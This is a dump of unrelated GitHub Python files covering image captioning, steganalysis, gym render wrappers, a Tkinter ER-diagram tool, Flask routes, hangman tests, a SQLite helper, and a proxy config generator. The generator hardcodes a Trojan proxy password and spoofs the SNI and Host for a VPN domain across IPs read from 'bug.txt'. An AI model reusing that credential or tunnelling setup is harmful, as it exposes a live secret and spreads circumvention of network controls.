{}\"\n .format(fc_features_paths_file))\n with open(att_features_paths_file, 'w') as f:\n json.dump(att_features_paths, f)\n\n logger.info(\"writing fc feature paths to file {}\"\n .format(att_features_paths_file))\n with open(fc_features_paths_file, 'w') as f:\n json.dump(fc_features_paths, f)\n logger.info(\"writing coocids to fie {}\"\n .format(cocoids_file))\n with open(cocoids_file, 'w') as f:\n json.dump(coco_ids, f)\n logger.info(\"writing encoded captions to file {}\"\n .format(encoded_captions_file))\n # Save encoded captions and their lengths to JSON files\n torch.save(enc_captions, encoded_captions_file)\n logger.info(\"writing captions lengths to file {}\"\n .format(encoded_captions_lens_file))\n torch.save(cap_lens, encoded_captions_lens_file)\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Pytorch image captioning validating')\n parser.add_argument(\n '--config-file',\n default='',\n metavar=\"FILE\",\n help='path to config file',\n type=str,\n )\n parser.add_argument(\n 'opts',\n help='Modify config options using the command-line',\n default=None,\n nargs=argparse.REMAINDER\n )\n parser.add_argument('--local_rank', type=int, default=0)\n parser.add_argument(\n '--alg-name',\n default='clw',\n help='your algorithm name',\n type=str\n )\n parser.add_argument(\n '--verbose',\n help='show val results',\n action='store_true'\n )\n args = parser.parse_args()\n num_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\n args.distributed = num_gpus > 1\n if args.distributed:\n torch.cuda.set_device(args.local_rank)\n torch.distributed.init_process_group(\n backend=\"nccl\", init_method=\"env://\"\n )\n synchronize()\n if args.config_file:\n cfg.merge_from_file(args.config_file)\n cfg.merge_from_list(args.opts)\n cfg.freeze()\n\n logger = setup_logger('image_captioning', cfg.OUTPUT_DIR, get_rank(), \"generate_normal_dataset_log.txt\")\n logger.info(\"Using {} GPUs.\".format(num_gpus))\n logger.info(args)\n\n logger.info(\"Collecting env info (might take some time)\")\n logger.info(\"\\n\" + collect_env_info())\n\n if args.config_file:\n logger.info(\"Loaded configuration file {}\".format(args.config_file))\n with open(args.config_file, 'r') as cf:\n config_str = '\\n' + cf.read()\n logger.info(config_str)\n device = cfg.MODEL.DEVICE\n paths_catalog = import_file(\n \"image_captioning.config.paths_catalog\", cfg.PATHS_CATALOG, True\n )\n DatasetCatalog = paths_catalog.DatasetCatalog\n ResNetCatalog = paths_catalog.ResNetCatalog\n seq_max_len = cfg.DATASET.SEQ_MAX_LEN\n # build encoder\n encoder = build_encoder(cfg)\n encoder_loader = ModelCheckpointer(cfg, encoder)\n url = ResNetCatalog.get(cfg.MODEL.ENCODER.CONV_BODY)\n encoder_loader.load(url)\n encoder = encoder.to(device)\n # build decoder\n # set to eval mode\n encoder.eval()\n vocab = get_vocab(cfg.DATASET.VOCAB_PATH)\n for split, dataset_name in zip(['train', 'val', 'test'],\n [cfg.DATASET.TRAIN, cfg.DATASET.VAL, cfg.DATASET.TEST]):\n if not dataset_name:\n continue\n logger.info('load dataset {}'.format(dataset_name))\n data_loader = make_data_loader(cfg, split=split,\n is_distributed=args.distributed,\n is_create=True)\n dataset = DatasetCatalog.get(dataset_name)\n generate_dataset(\n dataset, encoder,\n data_loader, device, seq_max_len, vocab\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"congve1/ImageCaptioning","sub_path":"tools/generate_normal_datasets.py","file_name":"generate_normal_datasets.py","file_ext":"py","file_size_in_byte":8139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2793834592","text":"import numpy as np\r\n\r\nimport torch\r\nimport torch.nn as nn\r\n\r\n\r\nclass XuNet(nn.Module):\r\n def __init__(self):\r\n super(XuNet, self).__init__()\r\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=8,\r\n kernel_size=5, padding=2, bias=None)\r\n self.norm1 = nn.BatchNorm2d(8)\r\n self.conv2 = nn.Conv2d(in_channels=8, out_channels=16,\r\n kernel_size=5, padding=2, bias=None)\r\n self.norm2 = nn.BatchNorm2d(16)\r\n self.conv3 = nn.Conv2d(in_channels=16, out_channels=32,\r\n kernel_size=1, bias=None)\r\n self.norm3 = nn.BatchNorm2d(32)\r\n self.conv4 = nn.Conv2d(in_channels=32, out_channels=64,\r\n kernel_size=1, bias=None)\r\n self.norm4 = nn.BatchNorm2d(64)\r\n self.conv5 = nn.Conv2d(in_channels=64, out_channels=128,\r\n kernel_size=1, bias=None)\r\n self.norm5 = nn.BatchNorm2d(128)\r\n self.pool = nn.AvgPool2d(kernel_size=5, stride=2, padding=2)\r\n self.glpool = nn.AvgPool2d(kernel_size=32)\r\n self.tanh = nn.Tanh()\r\n self.relu = nn.ReLU()\r\n self.ip = nn.Linear(1*1*128, 2)\r\n self.reset_parameters()\r\n\r\n def forward(self, x):\r\n x = x.float()\r\n x = self.pool(self.tanh(self.norm1(torch.abs(self.conv1(x)))))\r\n x = self.pool(self.tanh(self.norm2(self.conv2(x))))\r\n x = self.pool(self.relu(self.norm3(self.conv3(x))))\r\n x = self.pool(self.relu(self.norm4(self.conv4(x))))\r\n x = self.glpool(self.relu(self.norm5(self.conv5(x))))\r\n x = x.view(x.size(0), -1)\r\n x = self.ip(x)\r\n return x\r\n\r\n def reset_parameters(self):\r\n for mod in self.modules():\r\n if isinstance(mod, nn.Conv2d):\r\n nn.init.normal_(mod.weight, 0, 0.01)\r\n elif isinstance(mod, nn.BatchNorm2d):\r\n mod.reset_parameters()\r\n elif isinstance(mod, nn.Linear):\r\n nn.init.xavier_uniform(mod.weight)\r\n\r\n\r\ndef accuracy(outputs, labels):\r\n _, argmax = torch.max(outputs, 1)\r\n return (labels == argmax.squeeze()).float().mean()\r\n","repo_name":"CAU-Tstega/image-steganalysis","sub_path":"XuNet/XuNet.py","file_name":"XuNet.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"26820812455","text":"import gym\nfrom typing import Optional\nimport wandb\nimport numpy as np\nimport cv2 as cv\nfrom typing import Any\nimport pygame\nfrom PIL import Image\n\nclass WanDBVideoWrapper(gym.Wrapper):\n def __init__(\n self, \n env : gym.Env, \n video_format : str = \"mp4\", # \"mp4\" or \"gif\" or \"webm\" or \"ogg\"\n log_name = \"training/video\",\n record_every_n_steps = -1,\n frame_rate : Optional[int] = None,\n video_length_limit : int = 0, # Change to > 0 to limit video length\n ):\n super().__init__(env)\n if frame_rate is None:\n if hasattr(env,\"joystick_policy\"):\n control_timestep = env.joystick_policy.robot.control_timestep\n elif hasattr(env.unwrapped._env, \"control_timestep\"):\n control_timestep = getattr(env.unwrapped._env, \"control_timestep\")()\n else:\n raise AttributeError(\n \"Environment must have a control_timestep() method.\"\n )\n\n frame_rate = int(1.0 / control_timestep)\n print(\"WanDBVideoWrapper: control_timestep = {}, framerate = {}\".format(control_timestep, frame_rate))\n \n \n self._frame_rate = frame_rate\n self._frames = []\n self.log_name = log_name\n self.wandb_step = 0\n self._last_recorded_iter = 0\n self._current_recording_iter = 0\n self.video_format = video_format\n self.enableWandbVideo = True\n self.record_every_n_steps = record_every_n_steps\n self.video_length_limit = video_length_limit\n self._last_joystick_truncation = False\n \n @property\n def is_recording(self):\n return self.enableWandbVideo and (\n self._last_recorded_iter < self._current_recording_iter\n )\n\n @property\n def should_start_recording(self):\n return self.enableWandbVideo and not(self.is_recording) and (\n self.wandb_step - self._last_recorded_iter >= self.record_every_n_steps or\n self.record_every_n_steps < 0\n )\n\n def set_wandb_step(self, step : int) -> None:\n self.wandb_step = step\n\n def step(self, action):\n obs, rew, done, info = self.env.step(action) #ret = (obs, reward, done, info)\n self._try_append_record()\n if \"TimeLimit.joystick_target_change\" in info and info[\"TimeLimit.joystick_target_change\"]:\n self._last_joystick_truncation = True\n elif done:\n self._terminate_record()\n self._last_joystick_truncation = False\n self.wandb_step += 1\n return obs, rew, done, info\n\n def reset(self, *args, seed: int | None = None, options: dict[str, Any] | None = None, **kwargs):\n if not self._last_joystick_truncation:\n self._terminate_record()\n if self.should_start_recording:\n setattr(self.env.unwrapped, \"_is_video_rec\", True)\n else:\n setattr(self.env.unwrapped, \"_is_video_rec\", False)\n ret = self.env.reset(*args, seed=seed, options=options, **kwargs)\n if not self._last_joystick_truncation:\n self._try_start_record()\n self._last_joystick_truncation = False\n return ret\n\n # Helper methods.\n\n def _try_append_record(self):\n if self.is_recording:\n self._frames.append(self.env.render())\n \n def _try_start_record(self):\n if self.should_start_recording:\n if hasattr(self.env,\"prepended_frames\") and self.env.prepended_frames is not None:\n self._frames = self.env.prepended_frames\n else:\n self._frames = []\n \n self._frames.append(self.env.render())\n self._current_recording_iter = self.wandb_step\n\n def _terminate_record(self) -> None:\n self._last_recorded_iter = self._current_recording_iter\n if len(self._frames) <= 0:\n return\n\n if self.video_length_limit > 0:\n self._frames = self._frames[-self.video_length_limit:]\n \n print(\"Writing {} to wandb (Step {})\".format(self.log_name, self.wandb_step))\n wandb.log(\n {\n # RGBA => BGRA\n self.log_name: wandb.Video(\n np.stack(self._frames).transpose(0, 3, 1, 2), \n fps=self._frame_rate, \n format=self.video_format\n )\n }, \n step=self.wandb_step #self._current_recording_iter\n )\n self._frames = []\n\nclass _RenderWrapperViewer:\n def __init__(\n self\n ):\n self.screen = None\n self.clock = None\n self.fps = 60\n \n def init_pygame(self, x, y, window_name : str = \"Enviroment Viewer\") -> None:\n pygame.init()\n self.screen = pygame.display.set_mode((x, y), pygame.HWSURFACE | pygame.DOUBLEBUF)\n pygame.display.set_caption(window_name)\n self.clock = pygame.time.Clock()\n\n @property\n def has_inited(self) -> bool:\n return self.screen is not None\n\n def render(self, image : Image) -> bool:\n if self.screen is None:\n self.init_pygame(image.width, image.height)\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n return False\n \n image_surface = pygame.image.fromstring(image.tobytes(), image.size, image.mode).convert()\n self.screen.fill((0,0,0))\n self.screen.blit(image_surface, (0, 0))\n pygame.display.flip()\n self.clock.tick(self.fps)\n return True\n\n\nclass RenderViewerWrapper(gym.Wrapper):\n def __init__(self, env, window_name = \"Environment Render\", control_timestep = 0.05):\n super().__init__(env)\n self.window_name = window_name\n self._viewer = _RenderWrapperViewer()\n self._viewer.fps = int(1.0 / control_timestep)\n\n def step(self, action):\n ret = self.env.step(action) #ret = (obs, reward, done, info)\n\n if ret[2]:\n self._terminate_display()\n else:\n render = self.env.render()\n if render is not None:\n self._display(render)\n else:\n self._terminate_display()\n \n return ret\n\n def reset(self, *args, seed: int | None = None, options: dict[str, Any] | None = None, **kwargs):\n self._terminate_display()\n ret = self.env.reset(*args,seed=seed, options=options, **kwargs)\n return ret\n\n def _display(self, frame):\n frame = Image.fromarray(frame,mode=\"RGB\")\n if not self._viewer.has_inited:\n self._viewer.init_pygame(frame.width, frame.height, window_name=self.window_name)\n self._viewer.render(frame)\n \n def _terminate_display(self):\n pass\n","repo_name":"realquantumcookie/APRL","sub_path":"rail_walker_gym/envs/wrappers/render_wrappers.py","file_name":"render_wrappers.py","file_ext":"py","file_size_in_byte":6806,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"70729058968","text":"import yaml\nfrom tqdm import tqdm\n\n# Membaca daftar alamat IP dari file txt\nip_list_filename = \"bug.txt\"\nwith open(ip_list_filename, \"r\") as ip_file:\n ip_list = ip_file.read().splitlines()\n\n# Prefix untuk nama akun\nname_prefix = \"TRojan\"\n\n# Inisialisasi struktur konfigurasi\nconfig = {\"proxies\": []}\n\n# Fungsi untuk menghasilkan konfigurasi berdasarkan IP\ndef generate_config(ip):\n config_entry = {\n \"name\": f\"{name_prefix}-{ip.replace('.', '-')}\",\n \"server\": ip,\n \"port\": 443,\n \"type\": \"trojan\",\n \"password\": \"c86863ab-6277-447b-b386-f73b8518e904\",\n \"network\": \"ws\",\n \"sni\": \"id8.fastvpn.biz.id\",\n \"skip-cert-verify\": True,\n \"udp\": True,\n \"ws-opts\": {\"path\": \"/trojan-ws\"},\n \"headers\": {\"Host\": \"id8.fastvpn.biz.id\"},\n }\n return config_entry\n\n# Generate konfigurasi untuk setiap IP dan tambahkan ke daftar konfigurasi\nfor ip in tqdm(ip_list, desc=\"Generating Configuration\", unit=\"IP\"):\n config[\"proxies\"].append(generate_config(ip))\n\n# Simpan konfigurasi dalam berkas YAML\nprint(\"Mulai menyimpan konfigurasi dalam berkas YAML\")\nwith tqdm(total=1, desc=\"Saving Configuration\", unit=\"File\") as pbar:\n with open(\"config.yaml\", \"w\") as config_file:\n yaml.dump(config, config_file, default_flow_style=False, sort_keys=False)\n pbar.update(1)\nprint(\"Konfigurasi berhasil disimpan dalam berkas YAML\")\n\n# Pesan ketika proses selesai\nprint(\"Proses telah selesai\")\n","repo_name":"syra-project/subcription","sub_path":"trojan/config generator/config_generator-id6.py","file_name":"config_generator-id6.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11431330434","text":"from tkinter import *\r\nfrom graphviz import *\r\nimport os\r\n\r\nos.environ[\"PATH\"] += os.pathsep + 'C:/Graphviz2.38/bin/'\r\n\r\n\r\ndef Exit_Program():\r\n root.destroy()\r\n\r\n\r\ndef draw_function(listEN,listREL,listCAR,listAT):\r\n\r\n def relation(x, r):\r\n for key, value in r.items():\r\n if value == 'identify':\r\n type = 'Mdiamond'\r\n else:\r\n type = 'diamond'\r\n x.node(key, shape=type)\r\n\r\n def entity(x, l, c, rel):\r\n\r\n for key, value in l.items():\r\n count = 0 # number of classifications\r\n if 'W' in c[key]:\r\n sh = 'box3d'\r\n else:\r\n sh = 'rect'\r\n x.node(key, shape=sh)\r\n for i in range(0, len(value)):\r\n\r\n if c[key][i] == 'N': # cardinality is many\r\n point = 'none'\r\n else:\r\n point = 'diamond'\r\n if 'W' in c[key] and rel[\r\n value[i]] == 'identify': # if entity is weak , hence cardinality is always one-many\r\n point = 'none'\r\n x.edge(value[i], key, len='1.50', dir='both', arrowhead='none', arrowtail=point)\r\n if value[i] in list(l):\r\n if count == 0:\r\n new = key + 'cls'\r\n x.node(new, label='IS-A', shape='invtriangle')\r\n x.attr('node', shape='rect')\r\n x.edge(key, new, dir='none', penwidth='3')\r\n x.edge(value[i], new, dir='none')\r\n count = 1\r\n else:\r\n x.edge(value[i], new, dir='none')\r\n else:\r\n x.edge(key, value[i], dir='both', arrowhead='none', arrowtail=point)\r\n\r\n def attribute(x, e, a):\r\n temp = list(e)\r\n\r\n for i in range(0, len(a)):\r\n for j in range(0, len(a[i])):\r\n if len(a[i][j]) != 0:\r\n id = 0\r\n for atr, ctr in a[i][j].items():\r\n sty = 'solid' # style\r\n shp = 'circle' # shape\r\n # Keys\r\n if ctr[0] == 'P':\r\n col = 'red'\r\n wid = '2'\r\n elif ctr[0] == 'F':\r\n col = 'blue'\r\n wid = '2'\r\n else:\r\n col = 'black'\r\n wid = '1'\r\n # AttributeType\r\n if ctr[1] == 'D':\r\n sty = 'dashed'\r\n elif ctr[1] == 'M':\r\n shp = 'doublecircle'\r\n foo = str(temp[i]) + str(id) # temp id variable\r\n # print(foo)\r\n x.node(foo, label=str(atr), color=col, penwidth=wid, shape=shp, style=sty, fontsize='10')\r\n x.edge(temp[i], foo, dir='none')\r\n id += 1\r\n check = 0 # check Cardinality and Entity list: number of relation must match cardinalities given\r\n for keyE in listEN.keys():\r\n\r\n if len(listEN[keyE]) != len(listCAR[keyE]):\r\n print(\"Relations-Cardinality Mismatch for - \", keyE)\r\n check = 1\r\n\r\n if check == 0:\r\n page = Digraph(name='Model', engine='neato')\r\n relation(page, listREL)\r\n entity(page, listEN, listCAR, listREL)\r\n attribute(page, listEN, listAT)\r\n page.edge_attr.update(len='1.3')\r\n page.format = 'png'\r\n page.render('test-output/School.gv', view=True)\r\n\r\n\r\ndef parser():\r\n\r\n n = int(entry_ent_count.get())\r\n strings = entry_ent_attr.get(\"1.0\",\"end-1c\")\r\n strings = strings.splitlines()\r\n string0 = entry_ent_card_rel.get(\"1.0\",\"end-1c\")\r\n string0 = string0.replace('\\n', '')\r\n\r\n Atr = []\r\n for string in strings:\r\n\r\n replacements = ('/', '[', '(', ')', ',', ']') # fix\r\n for r in replacements:\r\n string = string.replace(r, ' ')\r\n L = string.split()\r\n L1 = []\r\n L2 = []\r\n L3 = []\r\n L4 = []\r\n L1.append(L[0])\r\n L2.append(L[1])\r\n for v in range(2, len(L), 2):\r\n L3.append(L[v])\r\n print(L3)\r\n for i in range(3, len(L), 2):\r\n L4.append(L[i])\r\n d = {}\r\n L5 = []\r\n for y in range(len(L3)):\r\n d[L3[y]] = L4[y].split('-')\r\n L5.append(d)\r\n Atr.append(L5)\r\n\r\n replacements = (';') # fix\r\n for r in replacements:\r\n string0 = string0.replace(r, ' ')\r\n string0 = string0.split()\r\n EntRel = {}\r\n EntCar = {}\r\n RelRel = {}\r\n for en in string0:\r\n replacement1 = ('(', ')', '[', ',', ']')\r\n for r in replacement1:\r\n en = en.replace(r, ' ')\r\n en = en.split()\r\n key_temp = en[0]\r\n val_rel_temp = []\r\n val_car_temp = []\r\n for i in range(1, len(en), 2):\r\n val_car_temp.append(en[i + 1])\r\n val_rel_temp.append(en[i])\r\n check = 0\r\n for kk in RelRel.keys():\r\n if kk == en[i] and RelRel[kk] == 'identify':\r\n check = 1\r\n if check == 1:\r\n continue\r\n if en[i + 1] == 'W':\r\n RelRel[en[i]] = 'identify'\r\n else:\r\n RelRel[en[i]] = 'none'\r\n\r\n EntCar[key_temp] = val_car_temp\r\n EntRel[key_temp] = val_rel_temp\r\n print(EntRel)\r\n print(EntCar)\r\n print(RelRel)\r\n print(Atr)\r\n listEN = EntRel\r\n listREL = RelRel\r\n listCAR = EntCar\r\n listAT = Atr\r\n\r\n draw_function(listEN,listREL,listCAR,listAT)\r\n\r\n# GUI Starts here\r\nroot = Tk()\r\nroot.title(\"mappER --->> Entity Relationship Model\")\r\ntop = Frame(root)\r\nbottom = Frame(root)\r\n\r\ntop.pack(side=TOP)\r\nbottom.pack(side=BOTTOM)\r\n\r\n# BASIC_ELEMENTS_OF_THIS_PROGRAM\r\nstr_count = IntVar()\r\n\r\n# SCREEN_SIZE_DEFINITION\r\n\r\nroot.geometry(\"800x600+0+0\") # ( width x height + x +y )\r\n\r\n\r\nScreen_bg = Frame(root, relief='flat', bg=\"moccasin\")\r\nScreen_bg.place(height=720, width=1370, x=0, y=0) # ( \" order should be like this \" )\r\n\r\n# [ no pack() required because we need this code to be implemented till end ]\r\n\r\n# =TITLE_CONFIGURATION=========\r\n\r\nTitle_label = Label(root, text='mappER', font=(\"Arial Rounded MT Bold\", 40, \"normal\"),\r\n relief='flat', fg='midnight blue', bg='moccasin').pack(side=TOP)\r\n\r\n# =TITLE_CONFIGURATION_END=========\r\nlabel1 = Label(root,\r\n text='Enter the total number of Entities:',\r\n width=100, height=2, font=('ariel round MT bold', 12, 'bold'),\r\n bg='moccasin', relief='flat', fg='midnight blue')\r\n\r\nentry_ent_count = Entry(root, textvariable=str_count, font=('times new roman', 12, 'normal'), bg='antique white',\r\n fg='black',\r\n justify='left', relief='sunken')\r\n\r\nlabel2 = Label(root,\r\n text='Enter in the given format\\n\\n Entity/Type[Attribute1(KeyConstraint1-AttributeConstraint2)...]...',\r\n width=100, height=4, font=('ariel round MT bold', 12, 'bold'),\r\n bg='moccasin', relief='flat', fg='midnight blue')\r\n\r\nentry_ent_attr = Text(root, font=('times new roman', 12, 'normal'), width=100, height=6,\r\n bg='antique white',fg='black', relief='sunken')\r\n\r\nlabel3 = Label(root,\r\n text='Enter Realtionships and/or Classifications \\n\\n Entity1[Relation1(Cardinal1)];Entity2[];'\r\n 'Entity1[Relation2(Cardinal2),Relation3(Cardinal3)]',width=150, height=4,\r\n font=('ariel round MT bold', 12, 'bold'),bg='moccasin', relief='flat', fg='midnight blue')\r\n\r\nentry_ent_card_rel= Text(root, font=('times new roman', 12, 'normal'), width=100, height=6,\r\n bg='antique white',fg='black', relief='sunken')\r\n\r\n\r\n\r\ncancel_button = Button(root, text=\"Abort\", font=(\"Times new roman\", 15, \"bold\"),\r\n height=1, width=30, bd=4, fg='red2', bg=\"burlywood\", relief='raised', command=Exit_Program)\r\n\r\ngenerateERD_button = Button(root, text=\"Generate ER-Diagram\", font=(\"Times new roman\", 15, \"bold\"),\r\n height=1, width=30, bd=4, fg='maroon4', bg=\"burlywood\", relief='raised',\r\n command=parser)\r\n\r\ngenerateERD_button.pack(in_=bottom, side=LEFT, pady=25)\r\ncancel_button.pack(in_=bottom, side=LEFT, padx=25)\r\n\r\n# ==============================\r\nlabel1.pack(side=TOP)\r\nentry_ent_count.pack(side=TOP)\r\nlabel2.pack(side=TOP)\r\nentry_ent_attr.pack(side=TOP)\r\nlabel3.pack(side=TOP)\r\nentry_ent_card_rel.pack(side=TOP)\r\n\r\n\r\n# ROOT_LOOP\r\nroot.mainloop()\r\n# you just can't use them both grid and pack on widgets that share the same parent.\r\n\r\n# EXIT_FUNCTION\r\n","repo_name":"AshwinBalaji52/mappER-ER-Model-Maker-","sub_path":"Mapper/mappER.py","file_name":"mappER.py","file_ext":"py","file_size_in_byte":8890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35302853286","text":"from . import bp as main_bp\nfrom flask import render_template, flash, redirect, url_for\nfrom app.forms import HomeSearchGames\nfrom app.blueprints.main.models import GameLibrary\nfrom flask_login import login_required\n\n@main_bp.route('/', methods=['GET', 'POST'])\ndef index():\n form = HomeSearchGames()\n game_title = form.game_title.data\n # genre = form.genre.data\n # rating = form.rating.data\n games = {\n 'coming_soon': ['Flower Picking Sim', 'Frog Stomp'],\n 'out_now': ['Tank Busters', 'Kitty with a Kite']\n }\n game_match = GameLibrary.query.filter_by(game_title=game_title).first()\n # g = GameLibrary(game_title=game_title, genre=genre, rating=rating)\n if form.validate_on_submit():\n # g.commit()\n if not game_match:\n flash(f'Sorry, there is no {game_title} in our library.')\n return redirect(url_for('main.index'))\n flash(f'Your search for \"{game_title}\" successful')\n return redirect(url_for('main.index'))\n return render_template('home.jinja', games=games, form=form, title='Home')\n\n@main_bp.route('/about')\ndef about():\n return render_template('about.jinja')\n\n@main_bp.route('/blog')\n@login_required\ndef blog():\n return render_template('/blog.jinja')\n","repo_name":"Pipperonni/flaskupgradedflaskgame","sub_path":"app/blueprints/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7538513075","text":"import pytest\n\nfrom app.hangman import Hangman, NoLives, WrongGuess\n\n\ndef test_hangman_string_representation():\n hangman = Hangman(\"order\")\n assert str(hangman) == \"_ _ _ _ _\"\n\n\ndef test_hangman_string_representation_with_known_letters():\n hangman = Hangman(\"order\", known_letters={\"r\"})\n assert str(hangman) == \"_ r _ _ r\"\n\n\n@pytest.mark.parametrize(\n [\"word\", \"known_letters\", \"completed\"],\n [\n (\"order\", set(), False),\n (\"order\", {\"r\"}, False),\n (\"order\", {\"o\", \"r\", \"d\", \"e\"}, True),\n ],\n)\ndef test_hangman_completed(word, known_letters, completed):\n hangman = Hangman(word, known_letters=known_letters)\n assert hangman.completed is completed\n\n\n@pytest.mark.parametrize([\"attempt_count\", \"lives\"], [(0, 5), (3, 2)])\ndef test_hangman_lives(attempt_count, lives):\n hangman = Hangman(\"order\", attempt_count=attempt_count)\n assert hangman.lives == lives\n\n\n@pytest.mark.parametrize([\"attempt_count\", \"game_over\"], [(0, False), (5, True)])\ndef test_hangman_is_game_over(attempt_count, game_over):\n hangman = Hangman(\"order\", attempt_count=attempt_count)\n assert hangman.is_game_over() is game_over\n\n\n@pytest.mark.parametrize(\n [\"word\", \"known_letters\", \"score\"],\n [\n (\"order\", set(), 0),\n (\"order\", {\"o\"}, 100),\n (\"order\", {\"r\"}, 100),\n (\"order\", {\"o\", \"r\"}, 200),\n (\"order\", {\"o\", \"r\", \"d\", \"e\"}, 400),\n (\"print\", {\"p\", \"r\", \"i\", \"n\", \"t\"}, 625),\n ],\n)\ndef test_score(word, known_letters, score):\n hangman = Hangman(word, known_letters=known_letters)\n assert hangman.score == score\n\n\n@pytest.mark.parametrize(\n [\"word\", \"attempt_count\", \"score\"],\n [(\"print\", 0, 625), (\"print\", 2, 375), (\"print\", 4, 125), (\"print\", 5, 0)],\n)\ndef test_score_depends_on_attempt(word, attempt_count, score):\n hangman = Hangman(word, known_letters=set(word), attempt_count=attempt_count)\n assert hangman.score == score\n\n\ndef test_hangman_guess_existing_letter():\n hangman = Hangman(\"order\")\n assert hangman.guess(\"r\") == \"_ r _ _ r\"\n\n\ndef test_hangman_guess_word():\n hangman = Hangman(\"order\")\n assert hangman.guess(\"order\") == \"o r d e r\"\n\n\ndef test_hangman_guess_wrong_letter():\n hangman = Hangman(\"order\")\n assert hangman.attempt_count == 0\n\n with pytest.raises(WrongGuess):\n hangman.guess(\"a\")\n\n assert hangman.attempt_count == 1\n\n\ndef test_hangman_guess_wrong_letter_and_game_over():\n hangman = Hangman(\"order\", attempt_count=4)\n assert hangman.attempt_count == 4\n\n with pytest.raises(NoLives):\n hangman.guess(\"a\")\n\n assert hangman.attempt_count == 5\n\n\n@pytest.mark.parametrize(\"letter\", [\"o\", \"O\"])\ndef test_hangman_guess_letter_case_insensitive(letter):\n hangman = Hangman(\"Order\")\n assert hangman.guess(letter) == \"O _ _ _ _\"\n\n\ndef test_hangman_guess_word_case_insensitive():\n hangman = Hangman(\"OrDeR\")\n assert hangman.guess(\"order\") == \"O r D e R\"\n","repo_name":"unmade/hangman","sub_path":"tests/test_hangman.py","file_name":"test_hangman.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70623083287","text":"from src.config import *\nfrom src.manufacturer.manufacturer import *\n\n\ndef add_to_db(manufacturer):\n _rules = []\n for n in range(0, 5):\n try:\n _rules.append(manufacturer.rules[n])\n except IndexError:\n _rules.append(\"\")\n cursor.execute(\"INSERT INTO Manufacturers VALUES (:Manufacturer, :Code, :Rule_1, :Rule_2, :Rule_3, :Rule_4,\"\n \":Rule_5)\",\n {'Manufacturer': manufacturer.name, 'Code': manufacturer.code,\n 'Rule_1': _rules[0], 'Rule_2': _rules[1], 'Rule_3': _rules[2], 'Rule_4': _rules[3],\n 'Rule_5': _rules[4]})\n connector.commit()\n\n\ndef extract_from_db_by_name(name):\n row = cursor.execute(\"SELECT * FROM Manufacturers WHERE Name = ?\", (name,)).fetchone()\n if row is None:\n raise ValueError\n else:\n rules = []\n for n in range(2, 6):\n if row[n] != \"\":\n rules.append(row[n])\n return Manufacturer(row[0], row[1], rules)\n\n\ndef extract_from_db_by_code(code):\n row = cursor.execute(\"SELECT * FROM Manufacturers WHERE Code = ?\", (code,)).fetchone()\n if row is None:\n raise ValueError\n else:\n rules = []\n for n in range(2, 6):\n if row[n] != \"\":\n rules.append(row[n])\n return Manufacturer(row[0], row[1], rules)\n\n\ndef remove_from_db_by_name(name):\n cursor.execute(\"DELETE * FROM Manufacturers WHERE Name = ?\", (name,))\n connector.commit()\n\n\ndef remove_from_db_by_code(code):\n cursor.execute(\"DELETE * FROM Manufacturers WHERE Code = ?\", (code,))\n connector.commit()\n\n\ndef get_name_from_code(code):\n try:\n return cursor.execute(\"SELECT Name FROM Manufacturers WHERE Code = ?\", (code,)).fetchone()[0]\n except TypeError:\n return None\n\n\ndef get_code_from_name(name):\n try:\n return cursor.execute(\"SELECT Code FROM Manufacturers WHERE Name = ?\", (name,)).fetchone()[0]\n except TypeError:\n return None\n\n\ndef get_rules_from_code(code):\n _rules = []\n row = cursor.execute(\"SELECT Rule_1, Rule_2, Rule_3, Rule_4, Rule_5 FROM Manufacturers WHERE Code = ?\", (code,))\n if row is None:\n return None\n for i in range(2, 7):\n _rule = cursor.fetchone()[i]\n if _rule == \"\":\n break\n else:\n _rules.append(_rule)\n return _rules\n\n\ndef get_rules_from_name(name):\n _rules = []\n row = cursor.execute(\"SELECT Rule_1, Rule_2, Rule_3, Rule_4, Rule_5 FROM Manufacturers WHERE Name = ?\", (name,))\n if row is None:\n return None\n for i in range(2, 7):\n _rule = cursor.fetchone()[i]\n if _rule == \"\":\n break\n else:\n _rules.append(_rule)\n return _rules\n","repo_name":"mkuczak/store-crm","sub_path":"src/manufacturer/manufacturerDB.py","file_name":"manufacturerDB.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36594107088","text":"import subprocess as sp\nimport os\nimport shutil\nimport time\nimport numpy as np\nfrom ash.modules.module_coords import elematomnumbers, check_charge_mult\nfrom ash.constants import ang2bohr\nfrom ash.functions.functions_general import ashexit, BC, print_time_rel,print_line_with_mainheader\n\n\nclass SparrowTheory:\n def __init__(self, sparrowdir=None, filename='sparrow', printlevel=2,\n method=None, numcores=1):\n\n self.theorynamelabel=\"Sparrow\"\n self.theorytype=\"QM\"\n self.analytic_hessian=False\n print_line_with_mainheader(f\"{self.theorynamelabel}Theory initialization\")\n\n if method is None:\n print(f\"{self.theorynamelabel}Theory requires a method keyword\")\n ashexit()\n \n try:\n import scine_utilities as su\n import scine_sparrow as scine_sparrow\n self.su=su\n self.scine_sparrow=scine_sparrow\n except:\n print(\"Problem importing sparrow. Did you install correctly? See: https://github.com/qcscine/sparrow\")\n print(\"Try: conda install scine-sparrow-python\")\n\n\n #Printlevel\n self.printlevel=printlevel\n self.filename=filename\n self.method=method\n self.numcores=numcores\n #Set numcores method\n def set_numcores(self,numcores):\n 